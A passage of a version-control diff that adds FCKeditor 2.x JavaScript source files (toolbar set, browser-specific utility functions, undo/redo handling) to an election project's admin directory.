+	this._TargetElement	= targetDocument.getElementById( 'xToolbar' ) ;
+	
+	// Setup the expand and collapse handlers.
+	var eExpandHandle	= targetDocument.getElementById( 'xExpandHandle' ) ;
+	var eCollapseHandle	= targetDocument.getElementById( 'xCollapseHandle' ) ;
+
+	eExpandHandle.title		= FCKLang.ToolbarExpand ;
+	eExpandHandle.onclick	= FCKToolbarSet_Expand_OnClick ;
+	
+	eCollapseHandle.title	= FCKLang.ToolbarCollapse ;
+	eCollapseHandle.onclick	= FCKToolbarSet_Collapse_OnClick ;
+
+	// Set the toolbar state at startup.
+	if ( !FCKConfig.ToolbarCanCollapse || FCKConfig.ToolbarStartExpanded )
+		this.Expand() ;
+	else
+		this.Collapse() ;
+
+	// Enable/disable the collapse handler
+	eCollapseHandle.style.display = FCKConfig.ToolbarCanCollapse ? '' : 'none' ;
+
+	if ( FCKConfig.ToolbarCanCollapse )
+		eCollapseHandle.style.display = '' ;
+	else
+		targetDocument.getElementById( 'xTBLeftBorder' ).style.display = '' ;
+		
+	// Set the default properties.
+	this.Toolbars = new Array() ;
+	this.IsLoaded = false ;
+
+	if ( FCK.IECleanup )
+		FCK.IECleanup.AddItem( this, FCKToolbarSet_Cleanup ) ;
+}
+
+function FCKToolbarSet_Expand_OnClick()
+{
+	FCK.ToolbarSet.Expand() ;
+}
+
+function FCKToolbarSet_Collapse_OnClick()
+{
+	FCK.ToolbarSet.Collapse() ;
+}
+
+FCKToolbarSet.prototype.Expand = function()
+{
+	this._ChangeVisibility( false ) ;
+}
+
+FCKToolbarSet.prototype.Collapse = function()
+{
+	this._ChangeVisibility( true ) ;
+}
+
+FCKToolbarSet.prototype._ChangeVisibility = function( collapse )
+{
+	this._Document.getElementById( 'xCollapsed' ).style.display = collapse ? '' : 'none' ;
+	this._Document.getElementById( 'xExpanded' ).style.display = collapse ? 'none' : '' ;
+	
+	if ( FCKBrowserInfo.IsGecko )
+	{
+		// I had to use "setTimeout" because Gecko was not responding in a right
+		// way when calling window.onresize() directly.
+		FCKTools.RunFunction( window.onresize ) ;
+	}
+}
+
+FCKToolbarSet.prototype.Load = function( toolbarSetName )
+{
+	this.Name = toolbarSetName ;
+
+	this.Items = new Array() ;
+	
+	// Reset the array of toolbat items that are active only on WYSIWYG mode.
+	this.ItemsWysiwygOnly = new Array() ;
+
+	// Reset the array of toolbar items that are sensitive to the cursor position.
+	this.ItemsContextSensitive = new Array() ;
+	
+	// Cleanup the target element.
+	this._TargetElement.innerHTML = '' ;
+	
+	var ToolbarSet = FCKConfig.ToolbarSets[toolbarSetName] ;
+	
+	if ( !ToolbarSet )
+	{
+		alert( FCKLang.UnknownToolbarSet.replace( /%1/g, toolbarSetName ) ) ;
+		return ;
+	}
+	
+	this.Toolbars = new Array() ;
+	
+	for ( var x = 0 ; x < ToolbarSet.length ; x++ ) 
+	{
+		var oToolbarItems = ToolbarSet[x] ;
+		
+		var oToolbar ;
+		
+		if ( typeof( oToolbarItems ) == 'string' )
+		{
+			if ( oToolbarItems == '/' )
+				oToolbar = new FCKToolbarBreak() ;
+		}
+		else
+		{
+			oToolbar = new FCKToolbar() ;
+			
+			for ( var j = 0 ; j < oToolbarItems.length ; j++ ) 
+			{
+				var sItem = oToolbarItems[j] ;
+				
+				if ( sItem == '-')
+					oToolbar.AddSeparator() ;
+				else
+				{
+					var oItem = FCKToolbarItems.GetItem( sItem ) ;
+					if ( oItem )
+					{
+						oToolbar.AddItem( oItem ) ;
+
+						this.Items.push( oItem ) ;
+
+						if ( !oItem.SourceView )
+							this.ItemsWysiwygOnly.push( oItem ) ;
+						
+						if ( oItem.ContextSensitive )
+							this.ItemsContextSensitive.push( oItem ) ;
+					}
+				}
+			}
+			
+			// oToolbar.AddTerminator() ;
+		}
+		
+		oToolbar.Create( this._TargetElement ) ;
+
+		this.Toolbars[ this.Toolbars.length ] = oToolbar ;
+	}
+	
+	FCKTools.DisableSelection( this._Document.getElementById( 'xCollapseHandle' ).parentNode ) ;
+
+	if ( FCK.Status != FCK_STATUS_COMPLETE )
+		FCK.Events.AttachEvent( 'OnStatusChange', this.RefreshModeState ) ;
+	else
+		this.RefreshModeState() ;
+
+	this.IsLoaded = true ;
+	this.IsEnabled = true ;
+
+	FCKTools.RunFunction( this.OnLoad ) ;
+}
+
+FCKToolbarSet.prototype.Enable = function()
+{
+	if ( this.IsEnabled )
+		return ;
+
+	this.IsEnabled = true ;
+
+	var aItems = this.Items ;
+	for ( var i = 0 ; i < aItems.length ; i++ )
+		aItems[i].RefreshState() ;
+}
+
+FCKToolbarSet.prototype.Disable = function()
+{
+	if ( !this.IsEnabled )
+		return ;
+
+	this.IsEnabled = false ;
+
+	var aItems = this.Items ;
+	for ( var i = 0 ; i < aItems.length ; i++ )
+		aItems[i].Disable() ;
+}
+
+FCKToolbarSet.prototype.RefreshModeState = function( editorInstance )
+{
+	if ( FCK.Status != FCK_STATUS_COMPLETE )
+		return ;
+
+	var oToolbarSet = editorInstance ? editorInstance.ToolbarSet : this ;
+	var aItems = oToolbarSet.ItemsWysiwygOnly ;
+	
+	if ( FCK.EditMode == FCK_EDITMODE_WYSIWYG )
+	{
+		// Enable all buttons that are available on WYSIWYG mode only.
+		for ( var i = 0 ; i < aItems.length ; i++ )
+			aItems[i].Enable() ;
+
+		// Refresh the buttons state.
+		oToolbarSet.RefreshItemsState( editorInstance ) ;
+	}
+	else
+	{
+		// Refresh the buttons state.
+		oToolbarSet.RefreshItemsState( editorInstance ) ;
+
+		// Disable all buttons that are available on WYSIWYG mode only.
+		for ( var i = 0 ; i < aItems.length ; i++ )
+			aItems[i].Disable() ;
+	}	
+}
+
+FCKToolbarSet.prototype.RefreshItemsState = function( editorInstance )
+{
+	
+	var aItems = ( editorInstance ? editorInstance.ToolbarSet : this ).ItemsContextSensitive ;
+	
+	for ( var i = 0 ; i < aItems.length ; i++ )
+		aItems[i].RefreshState() ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktools.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktools.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktools.js	(revision 44)
@@ -0,0 +1,236 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcktools.js
+ * 	Utility functions.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKTools = new Object() ;
+
+FCKTools.AppendStyleSheet = function( documentElement, cssFileUrlOrArray )
+{
+	if ( typeof( cssFileUrlOrArray ) == 'string' )
+		return this._AppendStyleSheet( documentElement, cssFileUrlOrArray ) ;
+	else
+	{
+		for ( var i = 0 ; i < cssFileUrlOrArray.length ; i++ )
+			this._AppendStyleSheet( documentElement, cssFileUrlOrArray[i] ) ;
+	}
+}
+
+/**
+ * Gets the value of the hidden INPUT element that is associated to the editor.
+ * This element has its ID set to the editor's instance name so the user refers
+ * to the instance name when getting the posted data.
+ */
+FCKTools.GetLinkedFieldValue = function()
+{
+	return FCK.LinkedField.value ;
+}
+
+/**
+ * Attachs a function call to the submit event of the linked field form. This
+ * function us generally used to update the linked field value before
+ * submitting the form.
+ */
+FCKTools.AttachToLinkedFieldFormSubmit = function( functionPointer )
+{
+	// Gets the linked field form
+	var oForm = FCK.LinkedField.form ;
+	
+	// Return now if no form is available
+	if (!oForm) return ;
+
+	// Attaches the functionPointer call to the onsubmit event
+	if ( FCKBrowserInfo.IsIE )
+		oForm.attachEvent( "onsubmit", functionPointer ) ;
+	else
+		oForm.addEventListener( 'submit', functionPointer, false ) ;
+	
+	//**
+	// Attaches the functionPointer call to the submit method 
+	// This is done because IE doesn't fire onsubmit when the submit method is called
+	// BEGIN --
+	
+	// Creates a Array in the form object that will hold all Attached function call
+	// (in the case there are more than one editor in the same page)
+	if (! oForm.updateFCKeditor) oForm.updateFCKeditor = new Array() ;
+	
+	// Adds the function pointer to the array of functions to call when "submit" is called
+	oForm.updateFCKeditor[oForm.updateFCKeditor.length] = functionPointer ;
+
+	// Switches the original submit method with a new one that first call all functions
+	// on the above array and the call the original submit
+	// IE sees it oForm.submit function as an 'object'.
+	if (! oForm.originalSubmit && ( typeof( oForm.submit ) == 'function' || ( !oForm.submit.tagName && !oForm.submit.length ) ) )
+	{
+		// Creates a copy of the original submit
+		oForm.originalSubmit = oForm.submit ;
+		
+		// Creates our replacement for the submit
+		oForm.submit = FCKTools_SubmitReplacer ;
+	}
+	// END --
+}
+
+function FCKTools_SubmitReplacer()
+{
+	if (this.updateFCKeditor)
+	{
+		// Calls all functions in the functions array
+		for (var i = 0 ; i < this.updateFCKeditor.length ; i++)
+			this.updateFCKeditor[i]() ;
+	}
+	// Calls the original "submit"
+	this.originalSubmit() ;
+}
+
+// Get the window object where the element is placed in.
+FCKTools.GetElementWindow = function( element )
+{
+	return this.GetDocumentWindow( this.GetElementDocument( element ) ) ;
+}
+
+FCKTools.GetDocumentWindow = function( doc )
+{
+	// With Safari, there is not way to retrieve the window from the document, so we must fix it.
+	if ( FCKBrowserInfo.IsSafari && !doc.parentWindow )
+		this.FixDocumentParentWindow( window.top ) ;
+	
+	return doc.parentWindow || doc.defaultView ;
+}
+
+/*
+	This is a Safari specific function that fix the reference to the parent 
+	window from the document object.
+*/
+FCKTools.FixDocumentParentWindow = function( targetWindow )
+{
+	targetWindow.document.parentWindow = targetWindow ; 
+	
+	for ( var i = 0 ; i < targetWindow.frames.length ; i++ )
+		FCKTools.FixDocumentParentWindow( targetWindow.frames[i] ) ;
+}
+
+FCKTools.GetParentWindow = function( document )
+{
+	return document.contentWindow ? document.contentWindow : document.parentWindow ;
+}
+
+FCKTools.HTMLEncode = function( text )
+{
+	if ( !text )
+		return '' ;
+
+	text = text.replace( /&/g, '&amp;' ) ;
+	text = text.replace( /</g, '&lt;' ) ;
+	text = text.replace( />/g, '&gt;' ) ;
+
+	return text ;
+}
+
+/**
+ * Adds an option to a SELECT element.
+ */
+FCKTools.AddSelectOption = function( selectElement, optionText, optionValue )
+{
+	var oOption = FCKTools.GetElementDocument( selectElement ).createElement( "OPTION" ) ;
+
+	oOption.text	= optionText ;
+	oOption.value	= optionValue ;	
+
+	selectElement.options.add(oOption) ;
+
+	return oOption ;
+}
+
+FCKTools.RunFunction = function( func, thisObject, paramsArray, timerWindow )
+{
+	if ( func )
+		this.SetTimeout( func, 0, thisObject, paramsArray, timerWindow ) ;
+}
+
+FCKTools.SetTimeout = function( func, milliseconds, thisObject, paramsArray, timerWindow )
+{
+	return ( timerWindow || window ).setTimeout( 
+		function()
+		{
+			if ( paramsArray )
+				func.apply( thisObject, [].concat( paramsArray ) ) ;
+			else
+				func.apply( thisObject ) ;
+		},
+		milliseconds ) ;
+}
+
+FCKTools.SetInterval = function( func, milliseconds, thisObject, paramsArray, timerWindow )
+{
+	return ( timerWindow || window ).setInterval( 
+		function()
+		{
+			func.apply( thisObject, paramsArray || [] ) ;
+		},
+		milliseconds ) ;
+}
+
+FCKTools.ConvertStyleSizeToHtml = function( size )
+{
+	return size.endsWith( '%' ) ? size : parseInt( size ) ;
+}
+
+FCKTools.ConvertHtmlSizeToStyle = function( size )
+{
+	return size.endsWith( '%' ) ? size : ( size + 'px' ) ;
+}
+
+// START iCM MODIFICATIONS
+// Amended to accept a list of one or more ascensor tag names
+// Amended to check the element itself before working back up through the parent hierarchy
+FCKTools.GetElementAscensor = function( element, ascensorTagNames )
+{
+//	var e = element.parentNode ;
+	var e = element ;
+	var lstTags = "," + ascensorTagNames.toUpperCase() + "," ;
+
+	while ( e )
+	{
+		if ( lstTags.indexOf( "," + e.nodeName.toUpperCase() + "," ) != -1 )
+			return e ;
+
+		e = e.parentNode ;
+	}
+	return null ;
+}
+// END iCM MODIFICATIONS
+
+FCKTools.CreateEventListener = function( func, params )
+{
+	var f = function()
+	{
+		var aAllParams = [] ;
+		
+		for ( var i = 0 ; i < arguments.length ; i++ )
+			aAllParams.push( arguments[i] ) ;
+
+		func.apply( this, aAllParams.concat( params ) ) ;
+	} 
+
+	return f ;
+}
+
+FCKTools.GetElementDocument = function ( element )
+{
+	return element.ownerDocument || element.document ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktools_gecko.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktools_gecko.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktools_gecko.js	(revision 44)
@@ -0,0 +1,231 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcktools_gecko.js
+ * 	Utility functions. (Gecko version).
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+// Constant for the Gecko Bogus Node.
+var GECKO_BOGUS = FCKBrowserInfo.IsGecko ? '<br _moz_editor_bogus_node="TRUE">' : '' ;
+
+FCKTools.CancelEvent = function( e )
+{
+	if ( e )
+		e.preventDefault() ;
+}
+
+FCKTools.DisableSelection = function( element )
+{
+	if ( FCKBrowserInfo.IsGecko )
+		element.style.MozUserSelect	= 'none' ;	// Gecko only.	
+	else
+		element.style.userSelect	= 'none' ;	// CSS3 (not supported yet).
+}
+
+// Appends a CSS file to a document.
+FCKTools._AppendStyleSheet = function( documentElement, cssFileUrl )
+{
+	var e = documentElement.createElement( 'LINK' ) ;
+	e.rel	= 'stylesheet' ;
+	e.type	= 'text/css' ;
+	e.href	= cssFileUrl ;
+	documentElement.getElementsByTagName("HEAD")[0].appendChild( e ) ;
+	return e ;
+}
+
+// Removes all attributes and values from the element.
+FCKTools.ClearElementAttributes = function( element )
+{
+	// Loop throw all attributes in the element
+	for ( var i = 0 ; i < element.attributes.length ; i++ )
+	{
+		// Remove the element by name.
+		element.removeAttribute( element.attributes[i].name, 0 ) ;	// 0 : Case Insensitive
+	}
+}
+
+// Returns an Array of strings with all defined in the elements inside another element.
+FCKTools.GetAllChildrenIds = function( parentElement )
+{
+	// Create the array that will hold all Ids.
+	var aIds = new Array() ;
+	
+	// Define a recursive function that search for the Ids.
+	var fGetIds = function( parent )
+	{
+		for ( var i = 0 ; i < parent.childNodes.length ; i++ )
+		{
+			var sId = parent.childNodes[i].id ;
+			
+			// Check if the Id is defined for the element.
+			if ( sId && sId.length > 0 ) aIds[ aIds.length ] = sId ;
+			
+			// Recursive call.
+			fGetIds( parent.childNodes[i] ) ;
+		}
+	}
+	
+	// Start the recursive calls.
+	fGetIds( parentElement ) ;
+
+	return aIds ;
+}
+
+FCKTools.RemoveOuterTags = function( e )
+{
+	var oFragment = e.ownerDocument.createDocumentFragment() ;
+			
+	for ( var i = 0 ; i < e.childNodes.length ; i++ )
+		oFragment.appendChild( e.childNodes[i] ) ;
+			
+	e.parentNode.replaceChild( oFragment, e ) ;
+}
+
+FCKTools.CreateXmlObject = function( object )
+{
+	switch ( object )
+	{
+		case 'XmlHttp' :
+			return new XMLHttpRequest() ;
+		case 'DOMDocument' :
+			return document.implementation.createDocument( '', '', null ) ;
+	}
+	return null ;
+}
+
+FCKTools.GetScrollPosition = function( relativeWindow )
+{
+	return { X : relativeWindow.pageXOffset, Y : relativeWindow.pageYOffset } ;
+}
+
+FCKTools.AddEventListener = function( sourceObject, eventName, listener )
+{
+	sourceObject.addEventListener( eventName, listener, false ) ;
+}
+
+FCKTools.RemoveEventListener = function( sourceObject, eventName, listener )
+{
+	sourceObject.removeEventListener( eventName, listener, false ) ;
+}
+
+// Listeners attached with this function cannot be detached.
+FCKTools.AddEventListenerEx = function( sourceObject, eventName, listener, paramsArray )
+{
+	sourceObject.addEventListener( 
+		eventName, 
+		function( e )
+		{
+			listener.apply( sourceObject, [ e ].concat( paramsArray || [] ) ) ;
+		},
+		false 
+	) ;
+}
+
+// Returns and object with the "Width" and "Height" properties.
+FCKTools.GetViewPaneSize = function( win )
+{
+	return { Width : win.innerWidth, Height : win.innerHeight } ;
+}
+
+FCKTools.SaveStyles = function( element )
+{
+	var oSavedStyles = new Object() ;
+	
+	if ( element.className.length > 0 )
+	{
+		oSavedStyles.Class = element.className ;
+		element.className = '' ;
+	}
+
+	var sInlineStyle = element.getAttribute( 'style' ) ;
+
+	if ( sInlineStyle && sInlineStyle.length > 0 )
+	{
+		oSavedStyles.Inline = sInlineStyle ;
+		element.setAttribute( 'style', '', 0 ) ;	// 0 : Case Insensitive
+	}
+
+	return oSavedStyles ;
+}
+
+FCKTools.RestoreStyles = function( element, savedStyles )
+{
+	element.className = savedStyles.Class || '' ;
+
+	if ( savedStyles.Inline )
+		element.setAttribute( 'style', savedStyles.Inline, 0 ) ;	// 0 : Case Insensitive
+	else
+		element.removeAttribute( 'style', 0 ) ;
+}
+
+FCKTools.RegisterDollarFunction = function( targetWindow )
+{
+	targetWindow.$ = function( id ) 
+	{ 
+		return this.document.getElementById( id ) ;
+	} ;
+}
+
+FCKTools.AppendElement = function( target, elementName )
+{
+	return target.appendChild( target.ownerDocument.createElement( elementName ) ) ;
+}
+
+// Get the coordinates of an element.
+//		@el : The element to get the position.
+//		@relativeWindow: The window to which we want the coordinates relative to.
+FCKTools.GetElementPosition = function( el, relativeWindow )
+{
+	// Initializes the Coordinates object that will be returned by the function.
+	var c = { X:0, Y:0 } ;
+	
+	var oWindow = relativeWindow || window ;
+
+	var oOwnerWindow = FCKTools.GetElementWindow( el ) ;
+
+	// Loop throw the offset chain.
+	while ( el )
+	{
+		var sPosition = oOwnerWindow.getComputedStyle(el, '').position ;
+
+		// Check for non "static" elements.
+		// 'FCKConfig.FloatingPanelsZIndex' -- Submenus are under a positioned IFRAME.
+		if ( sPosition && sPosition != 'static' && el.style.zIndex != FCKConfig.FloatingPanelsZIndex ) 
+			break ;
+
+		c.X += el.offsetLeft - el.scrollLeft ;
+		c.Y += el.offsetTop - el.scrollTop  ;
+
+		if ( el.offsetParent )
+			el = el.offsetParent ;
+		else
+		{
+			if ( oOwnerWindow != oWindow )
+			{
+				if ( el = oOwnerWindow.frameElement )
+					oOwnerWindow = FCKTools.GetElementWindow( el ) ;
+			}
+			else
+			{
+				c.X += el.scrollLeft ;
+				c.Y += el.scrollTop  ;
+				break ;
+			}
+		}
+	}
+
+	// Return the Coordinates object
+	return c ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktools_ie.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktools_ie.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fcktools_ie.js	(revision 44)
@@ -0,0 +1,202 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcktools_ie.js
+ * 	Utility functions. (IE version).
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+FCKTools.CancelEvent = function( e )
+{
+	return false ;
+}
+
+// Appends one or more CSS files to a document.
+FCKTools._AppendStyleSheet = function( documentElement, cssFileUrl )
+{
+	return documentElement.createStyleSheet( cssFileUrl ).owningElement ;
+}
+
+// Removes all attributes and values from the element.
+FCKTools.ClearElementAttributes = function( element )
+{
+	element.clearAttributes() ;
+}
+
+FCKTools.GetAllChildrenIds = function( parentElement )
+{
+	var aIds = new Array() ;
+	for ( var i = 0 ; i < parentElement.all.length ; i++ )
+	{
+		var sId = parentElement.all[i].id ;
+		if ( sId && sId.length > 0 )
+			aIds[ aIds.length ] = sId ;
+	}
+	return aIds ;
+}
+
+FCKTools.RemoveOuterTags = function( e )
+{
+	e.insertAdjacentHTML( 'beforeBegin', e.innerHTML ) ;
+	e.parentNode.removeChild( e ) ;
+}
+
+FCKTools.CreateXmlObject = function( object )
+{
+	var aObjs ;
+	
+	switch ( object )
+	{
+		case 'XmlHttp' :
+			aObjs = [ 'MSXML2.XmlHttp', 'Microsoft.XmlHttp' ] ;
+			break ;
+				
+		case 'DOMDocument' :
+			aObjs = [ 'MSXML2.DOMDocument', 'Microsoft.XmlDom' ] ;
+			break ;
+	}
+
+	for ( var i = 0 ; i < 2 ; i++ )
+	{
+		try { return new ActiveXObject( aObjs[i] ) ; }
+		catch (e) 
+		{}
+	}
+	
+	if ( FCKLang.NoActiveX )
+	{
+		alert( FCKLang.NoActiveX ) ;
+		FCKLang.NoActiveX = null ;
+	}
+}
+
+FCKTools.DisableSelection = function( element )
+{
+	element.unselectable = 'on' ;
+
+	var e, i = 0 ;
+	while ( e = element.all[ i++ ] )
+	{
+		switch ( e.tagName )
+		{
+			case 'IFRAME' :
+			case 'TEXTAREA' :
+			case 'INPUT' :
+			case 'SELECT' :
+				/* Ignore the above tags */
+				break ;
+			default :
+				e.unselectable = 'on' ;
+		}
+	}
+}
+
+FCKTools.GetScrollPosition = function( relativeWindow )
+{
+	var oDoc = relativeWindow.document ;
+
+	// Try with the doc element.
+	var oPos = { X : oDoc.documentElement.scrollLeft, Y : oDoc.documentElement.scrollTop } ;
+	
+	if ( oPos.X > 0 || oPos.Y > 0 )
+		return oPos ;
+
+	// If no scroll, try with the body.
+	return { X : oDoc.body.scrollLeft, Y : oDoc.body.scrollTop } ;
+}
+
+FCKTools.AddEventListener = function( sourceObject, eventName, listener )
+{
+	sourceObject.attachEvent( 'on' + eventName, listener ) ;
+}
+
+FCKTools.RemoveEventListener = function( sourceObject, eventName, listener )
+{
+	sourceObject.detachEvent( 'on' + eventName, listener ) ;
+}
+
+// Listeners attached with this function cannot be detached.
+FCKTools.AddEventListenerEx = function( sourceObject, eventName, listener, paramsArray )
+{
+	// Ok... this is a closures party, but is the only way to make it clean of memory leaks.
+	var o = new Object() ;
+	o.Source = sourceObject ;
+	o.Params = paramsArray || [] ;	// Memory leak if we have DOM objects here.
+	o.Listener = function( ev )
+	{
+		return listener.apply( o.Source, [ ev ].concat( o.Params ) ) ;
+	}
+	
+	if ( FCK.IECleanup )
+		FCK.IECleanup.AddItem( null, function() { o.Source = null ; o.Params = null ; } ) ;
+	
+	sourceObject.attachEvent( 'on' + eventName, o.Listener ) ;
+
+	sourceObject = null ;	// Memory leak cleaner (because of the above closure).
+	paramsArray = null ;	// Memory leak cleaner (because of the above closure).
+}
+
+// Returns and object with the "Width" and "Height" properties.
+FCKTools.GetViewPaneSize = function( win )
+{
+	var oSizeSource ;
+	
+	var oDoc = win.document.documentElement ;
+	if ( oDoc && oDoc.clientWidth )				// IE6 Strict Mode
+		oSizeSource = oDoc ;
+	else
+		oSizeSource = top.document.body ;		// Other IEs
+	
+	if ( oSizeSource )
+		return { Width : oSizeSource.clientWidth, Height : oSizeSource.clientHeight } ;
+	else
+		return { Width : 0, Height : 0 } ;
+}
+
+FCKTools.SaveStyles = function( element )
+{
+	var oSavedStyles = new Object() ;
+	
+	if ( element.className.length > 0 )
+	{
+		oSavedStyles.Class = element.className ;
+		element.className = '' ;
+	}
+
+	var sInlineStyle = element.style.cssText ;
+
+	if ( sInlineStyle.length > 0 )
+	{
+		oSavedStyles.Inline = sInlineStyle ;
+		element.style.cssText = '' ;
+	}
+	
+	return oSavedStyles ;
+}
+
+FCKTools.RestoreStyles = function( element, savedStyles )
+{
+	element.className		= savedStyles.Class || '' ;
+	element.style.cssText	= savedStyles.Inline || '' ;
+}
+
+FCKTools.RegisterDollarFunction = function( targetWindow )
+{
+	targetWindow.$ = targetWindow.document.getElementById ;
+}
+
+FCKTools.AppendElement = function( target, elementName )
+{
+	return target.appendChild( this.GetElementDocument( target ).createElement( elementName ) ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckundo_gecko.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckundo_gecko.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckundo_gecko.js	(revision 44)
@@ -0,0 +1,23 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckundo_gecko.js
+ * 	Fake implementation to ignore calls on Gecko.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKUndo = new Object() ;
+
+FCKUndo.SaveUndoStep = function()
+{}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckundo_ie.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckundo_ie.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckundo_ie.js	(revision 44)
@@ -0,0 +1,119 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckundo_ie.js
+ * 	IE specific implementation for the Undo/Redo system.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKUndo = new Object() ;
+
+FCKUndo.SavedData = new Array() ;
+FCKUndo.CurrentIndex = -1 ;
+FCKUndo.TypesCount = FCKUndo.MaxTypes = 25 ;
+FCKUndo.Typing = false ;
+
+FCKUndo.SaveUndoStep = function()
+{
+	if ( FCK.EditMode != FCK_EDITMODE_WYSIWYG )
+		return ;
+
+	// Shrink the array to the current level.
+	FCKUndo.SavedData = FCKUndo.SavedData.slice( 0, FCKUndo.CurrentIndex + 1 ) ;
+
+	// Get the Actual HTML.
+	var sHtml = FCK.EditorDocument.body.innerHTML ;
+
+	// Cancel operation if the new step is identical to the previous one.
+	if ( FCKUndo.CurrentIndex >= 0 && sHtml == FCKUndo.SavedData[ FCKUndo.CurrentIndex ][0] )
+		return ;
+
+	// If we reach the Maximun number of undo levels, we must remove the first
+	// entry of the list shifting all elements.
+	if ( FCKUndo.CurrentIndex + 1 >= FCKConfig.MaxUndoLevels )
+		FCKUndo.SavedData.shift() ;
+	else
+		FCKUndo.CurrentIndex++ ;
+
+	// Get the actual selection.
+	var sBookmark ;
+	if ( FCK.EditorDocument.selection.type == 'Text' )
+		sBookmark = FCK.EditorDocument.selection.createRange().getBookmark() ;
+
+	// Save the new level in front of the actual position.
+	FCKUndo.SavedData[ FCKUndo.CurrentIndex ] = [ sHtml, sBookmark ] ;
+
+	FCK.Events.FireEvent( "OnSelectionChange" ) ;
+}
+
+FCKUndo.CheckUndoState = function()
+{
+	return ( FCKUndo.Typing || FCKUndo.CurrentIndex > 0 ) ;
+}
+
+FCKUndo.CheckRedoState = function()
+{
+	return ( !FCKUndo.Typing && FCKUndo.CurrentIndex < ( FCKUndo.SavedData.length - 1 ) ) ;
+}
+
+FCKUndo.Undo = function()
+{
+	if ( FCKUndo.CheckUndoState() )
+	{
+		// If it is the first step.
+		if ( FCKUndo.CurrentIndex == ( FCKUndo.SavedData.length - 1 ) )
+		{
+			// Save the actual state for a possible "Redo" call.
+			FCKUndo.SaveUndoStep() ;
+		}
+
+		// Go a step back.
+		FCKUndo._ApplyUndoLevel( --FCKUndo.CurrentIndex ) ;
+
+		FCK.Events.FireEvent( "OnSelectionChange" ) ;
+	}
+}
+
+FCKUndo.Redo = function()
+{
+	if ( FCKUndo.CheckRedoState() )
+	{
+		// Go a step forward.
+		FCKUndo._ApplyUndoLevel( ++FCKUndo.CurrentIndex ) ;
+
+		FCK.Events.FireEvent( "OnSelectionChange" ) ;
+	}
+}
+
+FCKUndo._ApplyUndoLevel = function(level)
+{
+	var oData = FCKUndo.SavedData[ level ] ;
+	
+	if ( !oData )
+		return ;
+
+	// Update the editor contents with that step data.
+	FCK.SetInnerHtml( oData[0] ) ;
+//	FCK.EditorDocument.body.innerHTML = oData[0] ;
+
+	if ( oData[1] ) 
+	{
+		var oRange = FCK.EditorDocument.selection.createRange() ;
+		oRange.moveToBookmark( oData[1] ) ;
+		oRange.select() ;
+	}
+	
+	FCKUndo.TypesCount = 0 ; 
+	FCKUndo.Typing = false ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckurlparams.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckurlparams.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckurlparams.js	(revision 44)
@@ -0,0 +1,32 @@
+﻿/*
